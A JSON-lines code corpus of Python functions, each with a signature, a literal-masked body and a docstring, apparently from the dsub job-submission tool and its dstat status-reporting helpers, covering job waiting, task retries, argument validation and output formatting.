{"signature": "def _resolve_task_resources(job_metadata, job_resources, task_descriptors):", "body": "_resolve_task_logging(job_metadata, job_resources, task_descriptors)<EOL>", "docstring": "Resolve task properties (such as the logging path) from job properties.\n\n    Args:\n      job_metadata: Job metadata, such as job-id, job-name, and user-id.\n      job_resources: Resources specified such as ram, cpu, and logging path.\n      task_descriptors: Task metadata, parameters, and resources.\n\n    This function exists to be called at the point that all job properties have\n    been validated and resolved. It is also called prior to re-trying a task.\n\n    The only property to be resolved right now is the logging path,\n    which may have substitution parameters such as\n    job-id, task-id, task-attempt, user-id, and job-name.", "id": "f6185:m6"}
{"signature": "def _wait_after(provider, job_ids, poll_interval, stop_on_failure):", "body": "<EOL>job_ids_to_check = {j for j in job_ids if j != dsub_util.NO_JOB}<EOL>error_messages = []<EOL>while job_ids_to_check and (not error_messages or not stop_on_failure):<EOL><INDENT>print('<STR_LIT>' % ('<STR_LIT:U+002CU+0020>'.join(job_ids_to_check)))<EOL>jobs_left = _wait_for_any_job(provider, job_ids_to_check, poll_interval)<EOL>jobs_completed = job_ids_to_check.difference(jobs_left)<EOL>tasks_completed = provider.lookup_job_tasks({'<STR_LIT:*>'}, job_ids=jobs_completed)<EOL>dominant_job_tasks = _dominant_task_for_jobs(tasks_completed)<EOL>if len(dominant_job_tasks) != len(jobs_completed):<EOL><INDENT>jobs_found = dsub_util.tasks_to_job_ids(dominant_job_tasks)<EOL>jobs_not_found = jobs_completed.difference(jobs_found)<EOL>for j in jobs_not_found:<EOL><INDENT>error = '<STR_LIT>' % j<EOL>print_error('<STR_LIT>' % error)<EOL>error_messages += [error]<EOL><DEDENT><DEDENT>for t in dominant_job_tasks:<EOL><INDENT>job_id = t.get_field('<STR_LIT>')<EOL>status = t.get_field('<STR_LIT>')<EOL>print('<STR_LIT>' % (str(job_id), str(status)))<EOL>if status in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>error_messages += [provider.get_tasks_completion_messages([t])]<EOL><DEDENT><DEDENT>job_ids_to_check = jobs_left<EOL><DEDENT>return error_messages<EOL>", "docstring": "Print status info as we wait for those jobs.\n\n    Blocks until either all of the listed jobs succeed,\n    or one of them fails.\n\n    Args:\n      provider: job service provider\n      job_ids: a set of job IDs (string) to wait for\n      poll_interval: integer seconds to wait between iterations\n      stop_on_failure: whether to stop waiting if one of the tasks fails.\n\n    Returns:\n      Empty list if there was no error,\n      a list of error messages from the failed tasks otherwise.", "id": "f6185:m7"}
{"signature": "def _wait_and_retry(provider, job_id, poll_interval, retries, job_descriptor):", "body": "while True:<EOL><INDENT>tasks = provider.lookup_job_tasks({'<STR_LIT:*>'}, job_ids=[job_id])<EOL>running_tasks = set()<EOL>completed_tasks = set()<EOL>canceled_tasks = set()<EOL>fully_failed_tasks = set()<EOL>task_fail_count = dict()<EOL>message_task = None<EOL>task_dict = dict()<EOL>for t in tasks:<EOL><INDENT>task_id = job_model.numeric_task_id(t.get_field('<STR_LIT>'))<EOL>task_dict[task_id] = t<EOL>status = t.get_field('<STR_LIT>')<EOL>if status == '<STR_LIT>':<EOL><INDENT>task_fail_count[task_id] = task_fail_count.get(task_id, <NUM_LIT:0>) + <NUM_LIT:1><EOL>if task_fail_count[task_id] > retries:<EOL><INDENT>fully_failed_tasks.add(task_id)<EOL>message_task = t<EOL><DEDENT><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>canceled_tasks.add(task_id)<EOL>if not message_task:<EOL><INDENT>message_task = t<EOL><DEDENT><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>completed_tasks.add(task_id)<EOL><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>running_tasks.add(task_id)<EOL><DEDENT><DEDENT>retry_tasks = (<EOL>set(task_fail_count).difference(fully_failed_tasks)<EOL>.difference(running_tasks).difference(completed_tasks)<EOL>.difference(canceled_tasks))<EOL>if not retry_tasks and not running_tasks:<EOL><INDENT>if message_task:<EOL><INDENT>return [provider.get_tasks_completion_messages([message_task])]<EOL><DEDENT>return []<EOL><DEDENT>for task_id in retry_tasks:<EOL><INDENT>identifier = '<STR_LIT>'.format(job_id, task_id) if task_id else job_id<EOL>print('<STR_LIT>'.format(<EOL>identifier, task_fail_count[task_id]))<EOL>msg = task_dict[task_id].get_field('<STR_LIT>')<EOL>print('<STR_LIT>'.format(msg))<EOL>_retry_task(provider, job_descriptor, task_id,<EOL>task_fail_count[task_id] + <NUM_LIT:1>)<EOL><DEDENT>SLEEP_FUNCTION(poll_interval)<EOL><DEDENT>", "docstring": "Wait for job and retry any tasks that fail.\n\n    Stops retrying an individual task when: it succeeds, is canceled, or has been\n    retried \"retries\" times.\n\n    This function exits when there are no tasks running and there are no tasks\n    eligible to be retried.\n\n    Args:\n      provider: job service provider\n      job_id: a single job ID (string) to wait for\n      poll_interval: integer seconds to wait between iterations\n      retries: number of retries\n      job_descriptor: job descriptor used to originally submit job\n\n    Returns:\n      Empty list if there was no error,\n      a list containing an error message from a failed task otherwise.", "id": "f6185:m8"}
{"signature": "def _retry_task(provider, job_descriptor, task_id, task_attempt):", "body": "td_orig = job_descriptor.find_task_descriptor(task_id)<EOL>new_task_descriptors = [<EOL>job_model.TaskDescriptor({<EOL>'<STR_LIT>': task_id,<EOL>'<STR_LIT>': task_attempt<EOL>}, td_orig.task_params, td_orig.task_resources)<EOL>]<EOL>_resolve_task_resources(job_descriptor.job_metadata,<EOL>job_descriptor.job_resources, new_task_descriptors)<EOL>provider.submit_job(<EOL>job_model.JobDescriptor(<EOL>job_descriptor.job_metadata, job_descriptor.job_params,<EOL>job_descriptor.job_resources, new_task_descriptors), False)<EOL>", "docstring": "Retry task_id (numeric id) assigning it task_attempt.", "id": "f6185:m9"}
{"signature": "def _dominant_task_for_jobs(tasks):", "body": "per_job = _group_tasks_by_jobid(tasks)<EOL>ret = []<EOL>for job_id in per_job.keys():<EOL><INDENT>tasks_in_salience_order = sorted(per_job[job_id], key=_importance_of_task)<EOL>ret.append(tasks_in_salience_order[<NUM_LIT:0>])<EOL><DEDENT>return ret<EOL>", "docstring": "A list with, for each job, its dominant task.\n\n    The dominant task is the one that exemplifies its job's\n    status. It is either:\n    - the first (FAILURE or CANCELED) task, or if none\n    - the first RUNNING task, or if none\n    - the first SUCCESS task.\n\n    Args:\n      tasks: a list of tasks to consider\n\n    Returns:\n      A list with, for each job, its dominant task.", "id": "f6185:m10"}
{"signature": "def _group_tasks_by_jobid(tasks):", "body": "ret = collections.defaultdict(list)<EOL>for t in tasks:<EOL><INDENT>ret[t.get_field('<STR_LIT>')].append(t)<EOL><DEDENT>return ret<EOL>", "docstring": "A defaultdict with, for each job, a list of its tasks.", "id": "f6185:m11"}
{"signature": "def _importance_of_task(task):", "body": "<EOL>importance = {'<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:1>, '<STR_LIT>': <NUM_LIT:2>}<EOL>return (importance[task.get_field('<STR_LIT>')], task.get_field(<EOL>'<STR_LIT>', datetime.datetime.max))<EOL>", "docstring": "Tuple (importance, end-time). Smaller values are more important.", "id": "f6185:m12"}
{"signature": "def _wait_for_any_job(provider, job_ids, poll_interval):", "body": "if not job_ids:<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>tasks = provider.lookup_job_tasks({'<STR_LIT:*>'}, job_ids=job_ids)<EOL>running_jobs = set()<EOL>failed_jobs = set()<EOL>for t in tasks:<EOL><INDENT>status = t.get_field('<STR_LIT>')<EOL>job_id = t.get_field('<STR_LIT>')<EOL>if status in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>failed_jobs.add(job_id)<EOL><DEDENT>if status == '<STR_LIT>':<EOL><INDENT>running_jobs.add(job_id)<EOL><DEDENT><DEDENT>remaining_jobs = running_jobs.difference(failed_jobs)<EOL>if failed_jobs or len(remaining_jobs) != len(job_ids):<EOL><INDENT>return remaining_jobs<EOL><DEDENT>SLEEP_FUNCTION(poll_interval)<EOL><DEDENT>", "docstring": "Waits until any of the listed jobs is not running.\n\n    In particular, if any of the jobs sees one of its tasks fail,\n    we count the whole job as failing (but do not terminate the remaining\n    tasks ourselves).\n\n    Args:\n      provider: job service provider\n      job_ids: a list of job IDs (string) to wait for\n      poll_interval: integer seconds to wait between iterations\n\n    Returns:\n      A set of the jobIDs with still at least one running task.", "id": "f6185:m13"}
{"signature": "def _validate_job_and_task_arguments(job_params, task_descriptors):", "body": "if not task_descriptors:<EOL><INDENT>return<EOL><DEDENT>task_params = task_descriptors[<NUM_LIT:0>].task_params<EOL>from_jobs = {label.name for label in job_params['<STR_LIT>']}<EOL>from_tasks = {label.name for label in task_params['<STR_LIT>']}<EOL>intersect = from_jobs & from_tasks<EOL>if intersect:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format('<STR_LIT:U+002C>'.join(intersect)))<EOL><DEDENT>from_jobs = {<EOL>item.name<EOL>for item in job_params['<STR_LIT>'] | job_params['<STR_LIT>']<EOL>| job_params['<STR_LIT>']<EOL>}<EOL>from_tasks = {<EOL>item.name<EOL>for item in task_params['<STR_LIT>'] | task_params['<STR_LIT>']<EOL>| task_params['<STR_LIT>']<EOL>}<EOL>intersect = from_jobs & from_tasks<EOL>if intersect:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format('<STR_LIT:U+002C>'.join(intersect)))<EOL><DEDENT>", "docstring": "Validates that job and task argument names do not overlap.", "id": "f6185:m14"}
{"signature": "def run_main(args):", "body": "if args.command and args.script:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>provider_base.check_for_unsupported_flag(args)<EOL>input_file_param_util = param_util.InputFileParamUtil(<EOL>DEFAULT_INPUT_LOCAL_PATH)<EOL>output_file_param_util = param_util.OutputFileParamUtil(<EOL>DEFAULT_OUTPUT_LOCAL_PATH)<EOL>mount_param_util = param_util.MountParamUtil(DEFAULT_MOUNT_LOCAL_PATH)<EOL>job_params = param_util.args_to_job_params(<EOL>args.env, args.label, args.input, args.input_recursive, args.output,<EOL>args.output_recursive, args.mount, input_file_param_util,<EOL>output_file_param_util, mount_param_util)<EOL>if args.tasks:<EOL><INDENT>task_descriptors = param_util.tasks_file_to_task_descriptors(<EOL>args.tasks, args.retries, input_file_param_util, output_file_param_util)<EOL>_validate_job_and_task_arguments(job_params, task_descriptors)<EOL><DEDENT>else:<EOL><INDENT>task_metadata = {'<STR_LIT>': None}<EOL>if args.retries:<EOL><INDENT>task_metadata['<STR_LIT>'] = <NUM_LIT:1><EOL><DEDENT>task_descriptors = [<EOL>job_model.TaskDescriptor(task_metadata, {<EOL>'<STR_LIT>': set(),<EOL>'<STR_LIT>': set(),<EOL>'<STR_LIT>': set(),<EOL>'<STR_LIT>': set()<EOL>}, job_model.Resources())<EOL>]<EOL><DEDENT>return run(<EOL>provider_base.get_provider(args, resources),<EOL>_get_job_resources(args),<EOL>job_params,<EOL>task_descriptors,<EOL>name=args.name,<EOL>dry_run=args.dry_run,<EOL>command=args.command,<EOL>script=args.script,<EOL>user=args.user,<EOL>user_project=args.user_project,<EOL>wait=args.wait,<EOL>retries=args.retries,<EOL>poll_interval=args.poll_interval,<EOL>after=args.after,<EOL>skip=args.skip,<EOL>project=args.project,<EOL>disable_warning=True,<EOL>unique_job_id=args.unique_job_id)<EOL>", "docstring": "Execute job/task submission from command-line arguments.", "id": "f6185:m18"}
{"signature": "def run(provider,<EOL>job_resources,<EOL>job_params,<EOL>task_descriptors,<EOL>name=None,<EOL>dry_run=False,<EOL>command=None,<EOL>script=None,<EOL>user=None,<EOL>user_project=None,<EOL>wait=False,<EOL>retries=<NUM_LIT:0>,<EOL>poll_interval=<NUM_LIT:10>,<EOL>after=None,<EOL>skip=False,<EOL>project=None,<EOL>disable_warning=False,<EOL>unique_job_id=False):", "body": "if not dry_run:<EOL><INDENT>provider_base.emit_provider_message(provider)<EOL><DEDENT>if not disable_warning:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if command and script:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if command:<EOL><INDENT>if name:<EOL><INDENT>command_name = name<EOL><DEDENT>else:<EOL><INDENT>command_name = _name_for_command(command)<EOL><DEDENT>script = job_model.Script(command_name, '<STR_LIT>' + command)<EOL><DEDENT>elif script:<EOL><INDENT>script_file = dsub_util.load_file(script)<EOL>script = job_model.Script(os.path.basename(script), script_file.read())<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if retries and not wait:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>job_model.ensure_job_params_are_complete(job_params)<EOL>job_model.ensure_task_params_are_complete(task_descriptors)<EOL>task_ids = {<EOL>task_descriptor.task_metadata.get('<STR_LIT>')<EOL>for task_descriptor in task_descriptors<EOL>if task_descriptor.task_metadata.get('<STR_LIT>') is not None<EOL>}<EOL>job_metadata = _get_job_metadata(provider, user, name, script, task_ids,<EOL>user_project, unique_job_id)<EOL>_resolve_task_resources(job_metadata, job_resources, task_descriptors)<EOL>if not dry_run:<EOL><INDENT>print('<STR_LIT>' % job_metadata['<STR_LIT>'])<EOL><DEDENT>if after:<EOL><INDENT>if dry_run:<EOL><INDENT>print('<STR_LIT>' % after)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>error_messages = _wait_after(provider, after, poll_interval, True)<EOL>if error_messages:<EOL><INDENT>for msg in error_messages:<EOL><INDENT>print_error(msg)<EOL><DEDENT>raise dsub_errors.PredecessorJobFailureError(<EOL>'<STR_LIT>',<EOL>error_messages, None)<EOL><DEDENT><DEDENT><DEDENT>job_descriptor = job_model.JobDescriptor(job_metadata, job_params,<EOL>job_resources, task_descriptors)<EOL>launched_job = provider.submit_job(job_descriptor, skip)<EOL>if not dry_run:<EOL><INDENT>if launched_job['<STR_LIT>'] == dsub_util.NO_JOB:<EOL><INDENT>print('<STR_LIT>')<EOL>return {'<STR_LIT>': dsub_util.NO_JOB}<EOL><DEDENT>print('<STR_LIT>' % launched_job['<STR_LIT>'])<EOL>if launched_job.get('<STR_LIT>'):<EOL><INDENT>print('<STR_LIT>' % len(launched_job['<STR_LIT>']))<EOL><DEDENT>print('<STR_LIT>')<EOL>print(\"<STR_LIT>\" %<EOL>(provider_base.get_dstat_provider_args(provider, project),<EOL>launched_job['<STR_LIT>'], launched_job['<STR_LIT>']))<EOL>print('<STR_LIT>')<EOL>print(\"<STR_LIT>\" %<EOL>(provider_base.get_ddel_provider_args(provider, project),<EOL>launched_job['<STR_LIT>'], launched_job['<STR_LIT>']))<EOL><DEDENT>if wait:<EOL><INDENT>print('<STR_LIT>')<EOL>if retries:<EOL><INDENT>error_messages = _wait_and_retry(provider, job_metadata['<STR_LIT>'],<EOL>poll_interval, retries, job_descriptor)<EOL><DEDENT>else:<EOL><INDENT>error_messages = _wait_after(provider, [job_metadata['<STR_LIT>']],<EOL>poll_interval, False)<EOL><DEDENT>if error_messages:<EOL><INDENT>for msg in error_messages:<EOL><INDENT>print_error(msg)<EOL><DEDENT>raise dsub_errors.JobExecutionError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', error_messages, launched_job)<EOL><DEDENT><DEDENT>return launched_job<EOL>", "docstring": "Actual dsub body, post-stdout-redirection.", "id": "f6185:m19"}
{"signature": "def _name_for_command(command):", "body": "lines = command.splitlines()<EOL>for line in lines:<EOL><INDENT>line = line.strip()<EOL>if line and not line.startswith('<STR_LIT:#>') and line != '<STR_LIT:\\\\>':<EOL><INDENT>return os.path.basename(re.split(r'<STR_LIT>', line)[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "r\"\"\"Craft a simple command name from the command.\n\n    The best command strings for this are going to be those where a simple\n    command was given; we will use the command to derive the name.\n\n    We won't always be able to figure something out and the caller should just\n    specify a \"--name\" on the command-line.\n\n    For example, commands like \"export VAR=val\\necho ${VAR}\", this function would\n    return \"export\".\n\n    If the command starts space or a comment, then we'll skip to the first code\n    we can find.\n\n    If we find nothing, just return \"command\".\n\n    >>> _name_for_command('samtools index \"${BAM}\"')\n    'samtools'\n    >>> _name_for_command('/usr/bin/sort \"${INFILE}\" > \"${OUTFILE}\"')\n    'sort'\n    >>> _name_for_command('# This should be ignored')\n    'command'\n    >>> _name_for_command('\\\\\\n\\\\\\n# Bad continuations, but ignore.\\necho hello.')\n    'echo'\n\n    Arguments:\n      command: the user-provided command\n    Returns:\n      a proposed name for the task.", "id": "f6185:m20"}
{"signature": "def _prepare_summary_table(rows):", "body": "if not rows:<EOL><INDENT>return []<EOL><DEDENT>key_field = '<STR_LIT>'<EOL>if key_field not in rows[<NUM_LIT:0>]:<EOL><INDENT>key_field = '<STR_LIT>'<EOL><DEDENT>grouped = collections.defaultdict(lambda: collections.defaultdict(lambda: []))<EOL>for row in rows:<EOL><INDENT>grouped[row.get(key_field, '<STR_LIT>')][row.get('<STR_LIT:status>', '<STR_LIT>')] += [row]<EOL><DEDENT>new_rows = []<EOL>for job_key in sorted(grouped.keys()):<EOL><INDENT>group = grouped.get(job_key, None)<EOL>canonical_status = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for status in canonical_status + sorted(group.keys()):<EOL><INDENT>if status not in group:<EOL><INDENT>continue<EOL><DEDENT>task_count = len(group[status])<EOL>del group[status]<EOL>if task_count:<EOL><INDENT>summary_row = collections.OrderedDict()<EOL>summary_row[key_field] = job_key<EOL>summary_row['<STR_LIT:status>'] = status<EOL>summary_row['<STR_LIT>'] = task_count<EOL>new_rows.append(summary_row)<EOL><DEDENT><DEDENT><DEDENT>return new_rows<EOL>", "docstring": "Create a new table that is a summary of the input rows.\n\n    All with the same (job-name or job-id, status) go together.\n\n    Args:\n      rows: the input rows, a list of dictionaries.\n    Returns:\n      A new row set of summary information.", "id": "f6187:m0"}
{"signature": "def _prepare_row(task, full, summary):", "body": "<EOL>row_spec = collections.namedtuple('<STR_LIT>',<EOL>['<STR_LIT:key>', '<STR_LIT>', '<STR_LIT>'])<EOL>default_columns = [<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', False, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, None)<EOL>]<EOL>full_columns = default_columns + [<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT:status>', True, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', False, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, {}),<EOL>row_spec('<STR_LIT>', True, {}),<EOL>row_spec('<STR_LIT>', True, {}),<EOL>row_spec('<STR_LIT>', False, {}),<EOL>row_spec('<STR_LIT>', True, {}),<EOL>row_spec('<STR_LIT>', False, {}),<EOL>row_spec('<STR_LIT>', True, {}),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, {}),<EOL>row_spec('<STR_LIT>', True, []),<EOL>row_spec('<STR_LIT>', False, None),<EOL>row_spec('<STR_LIT>', False, None),<EOL>row_spec('<STR_LIT>', False, None),<EOL>row_spec('<STR_LIT>', False, None),<EOL>]<EOL>summary_columns = default_columns + [<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT>', True, None),<EOL>row_spec('<STR_LIT:status>', True, None),<EOL>]<EOL>assert not (full and summary), '<STR_LIT>'<EOL>if full:<EOL><INDENT>columns = full_columns<EOL><DEDENT>elif summary:<EOL><INDENT>columns = summary_columns<EOL><DEDENT>else:<EOL><INDENT>columns = default_columns<EOL><DEDENT>row = {}<EOL>for col in columns:<EOL><INDENT>key, required, default = col<EOL>value = task.get_field(key, default)<EOL>if required or value is not None:<EOL><INDENT>row[key] = value<EOL><DEDENT><DEDENT>return row<EOL>", "docstring": "return a dict with the task's info (more if \"full\" is set).", "id": "f6187:m1"}
{"signature": "def _parse_arguments():", "body": "<EOL>param_util.handle_version_flag()<EOL>parser = provider_base.create_parser(sys.argv[<NUM_LIT:0>])<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default=False, help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>default=[],<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>default=['<STR_LIT>'],<EOL>choices=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:*>'],<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help='<STR_LIT>',<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=<NUM_LIT:10>,<EOL>type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>', action='<STR_LIT:store_true>', help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=<NUM_LIT:0>,<EOL>type=int,<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>choices=['<STR_LIT:text>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>help='<STR_LIT>')<EOL>output_style = parser.add_mutually_exclusive_group()<EOL>output_style.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>output_style.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>google_common = parser.add_argument_group(<EOL>title='<STR_LIT>',<EOL>description='<STR_LIT>')<EOL>google_common.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>return provider_base.parse_args(<EOL>parser, {<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>}, sys.argv[<NUM_LIT:1>:])<EOL>", "docstring": "Parses command line arguments.\n\n    Returns:\n      A Namespace of parsed arguments.", "id": "f6187:m2"}
{"signature": "def dstat_job_producer(provider,<EOL>statuses,<EOL>user_ids=None,<EOL>job_ids=None,<EOL>job_names=None,<EOL>task_ids=None,<EOL>task_attempts=None,<EOL>labels=None,<EOL>create_time_min=None,<EOL>create_time_max=None,<EOL>max_tasks=<NUM_LIT:0>,<EOL>full_output=False,<EOL>summary_output=False,<EOL>poll_interval=<NUM_LIT:0>,<EOL>raw_format=False):", "body": "some_job_running = True<EOL>while some_job_running:<EOL><INDENT>tasks = provider.lookup_job_tasks(<EOL>statuses,<EOL>user_ids=user_ids,<EOL>job_ids=job_ids,<EOL>job_names=job_names,<EOL>task_ids=task_ids,<EOL>task_attempts=task_attempts,<EOL>labels=labels,<EOL>create_time_min=create_time_min,<EOL>create_time_max=create_time_max,<EOL>max_tasks=max_tasks,<EOL>page_size=max_tasks)<EOL>some_job_running = False<EOL>formatted_tasks = []<EOL>for task in tasks:<EOL><INDENT>if <NUM_LIT:0> < max_tasks <= len(formatted_tasks):<EOL><INDENT>break<EOL><DEDENT>if raw_format:<EOL><INDENT>formatted_tasks.append(task.raw_task_data())<EOL><DEDENT>else:<EOL><INDENT>formatted_tasks.append(_prepare_row(task, full_output, summary_output))<EOL><DEDENT>if task.get_field('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>some_job_running = True<EOL><DEDENT><DEDENT>yield formatted_tasks<EOL>if poll_interval and some_job_running:<EOL><INDENT>time.sleep(poll_interval)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Generate jobs as lists of task dicts ready for formatting/output.\n\n    Args:\n      provider: an instantiated dsub provider.\n      statuses: a set of status strings that eligible jobs may match.\n      user_ids: a set of user strings that eligible jobs may match.\n      job_ids: a set of job-id strings eligible jobs may match.\n      job_names: a set of job-name strings eligible jobs may match.\n      task_ids: a set of task-id strings eligible tasks may match.\n      task_attempts: a set of task-attempt strings eligible tasks may match.\n      labels: set of LabelParam that all tasks must match.\n      create_time_min: a timezone-aware datetime value for the earliest create\n                       time of a task, inclusive.\n      create_time_max: a timezone-aware datetime value for the most recent create\n                       time of a task, inclusive.\n      max_tasks: (int) maximum number of tasks to return per dstat job lookup.\n      full_output: (bool) return all dsub fields.\n      summary_output: (bool) return a summary of the job list.\n      poll_interval: (int) wait time between poll events, dstat will poll jobs\n                     until all jobs succeed or fail. Set to zero to disable\n                     polling and return after the first lookup.\n      raw_format: (bool) set True to prevent dsub from normalizing the task dict,\n                  this defaults to False and should only be set True if a\n                  provider-specific view of tasks is absolutely required.\n                  (NB: provider interfaces change over time, no transition path\n                  will be provided for users depending on this flag).\n\n    Yields:\n      lists of task dictionaries - each list representing a dstat poll event.", "id": "f6187:m4"}
{"signature": "def lookup_job_tasks(provider,<EOL>statuses,<EOL>user_ids=None,<EOL>job_ids=None,<EOL>job_names=None,<EOL>task_ids=None,<EOL>task_attempts=None,<EOL>labels=None,<EOL>create_time_min=None,<EOL>create_time_max=None,<EOL>max_tasks=<NUM_LIT:0>,<EOL>page_size=<NUM_LIT:0>,<EOL>summary_output=False):", "body": "tasks_generator = provider.lookup_job_tasks(<EOL>statuses,<EOL>user_ids=user_ids,<EOL>job_ids=job_ids,<EOL>job_names=job_names,<EOL>task_ids=task_ids,<EOL>task_attempts=task_attempts,<EOL>labels=labels,<EOL>create_time_min=create_time_min,<EOL>create_time_max=create_time_max,<EOL>max_tasks=max_tasks,<EOL>page_size=page_size)<EOL>for task in tasks_generator:<EOL><INDENT>yield _prepare_row(task, True, summary_output)<EOL><DEDENT>", "docstring": "Generate formatted jobs individually, in order of create-time.\n\n    Args:\n      provider: an instantiated dsub provider.\n      statuses: a set of status strings that eligible jobs may match.\n      user_ids: a set of user strings that eligible jobs may match.\n      job_ids: a set of job-id strings eligible jobs may match.\n      job_names: a set of job-name strings eligible jobs may match.\n      task_ids: a set of task-id strings eligible tasks may match.\n      task_attempts: a set of task-attempt strings eligible tasks may match.\n      labels: set of LabelParam that all tasks must match.\n      create_time_min: a timezone-aware datetime value for the earliest create\n                       time of a task, inclusive.\n      create_time_max: a timezone-aware datetime value for the most recent create\n                       time of a task, inclusive.\n      max_tasks: (int) maximum number of tasks to return per dstat job lookup.\n      page_size: the page size to use for each query to the backend. May be\n                 ignored by some provider implementations.\n      summary_output: (bool) summarize the job list.\n\n    Yields:\n      Individual task dictionaries with associated metadata", "id": "f6187:m5"}
{"signature": "def prepare_output(self, row):", "body": "date_fields = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>int_fields = ['<STR_LIT>']<EOL>for col in date_fields:<EOL><INDENT>if col in row:<EOL><INDENT>row[col] = self.default_format_date(row[col])<EOL><DEDENT><DEDENT>for col in int_fields:<EOL><INDENT>if col in row and row[col] is not None:<EOL><INDENT>row[col] = int(row[col])<EOL><DEDENT><DEDENT>return row<EOL>", "docstring": "Convert types of task fields.", "id": "f6187:c0:m5"}
{"signature": "def print_table(self, table):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Function to be defined by the derived class to print output.", "id": "f6187:c0:m6"}
{"signature": "def trim_display_field(self, value, max_length):", "body": "if not value:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if len(value) > max_length:<EOL><INDENT>return value[:max_length - <NUM_LIT:3>] + '<STR_LIT>'<EOL><DEDENT>return value<EOL>", "docstring": "Return a value for display; if longer than max length, use ellipsis.", "id": "f6187:c1:m1"}
{"signature": "def format_pairs(self, values):", "body": "return '<STR_LIT:U+002CU+0020>'.join(<EOL>'<STR_LIT>' % (key, value) for key, value in sorted(values.items()))<EOL>", "docstring": "Returns a string of comma-delimited key=value pairs.", "id": "f6187:c1:m3"}
{"signature": "def string_presenter(self, dumper, data):", "body": "if '<STR_LIT:\\n>' in data:<EOL><INDENT>return dumper.represent_scalar('<STR_LIT>', data, style='<STR_LIT:|>')<EOL><DEDENT>else:<EOL><INDENT>return dumper.represent_scalar('<STR_LIT>', data)<EOL><DEDENT>", "docstring": "Presenter to force yaml.dump to use multi-line string style.", "id": "f6187:c2:m1"}
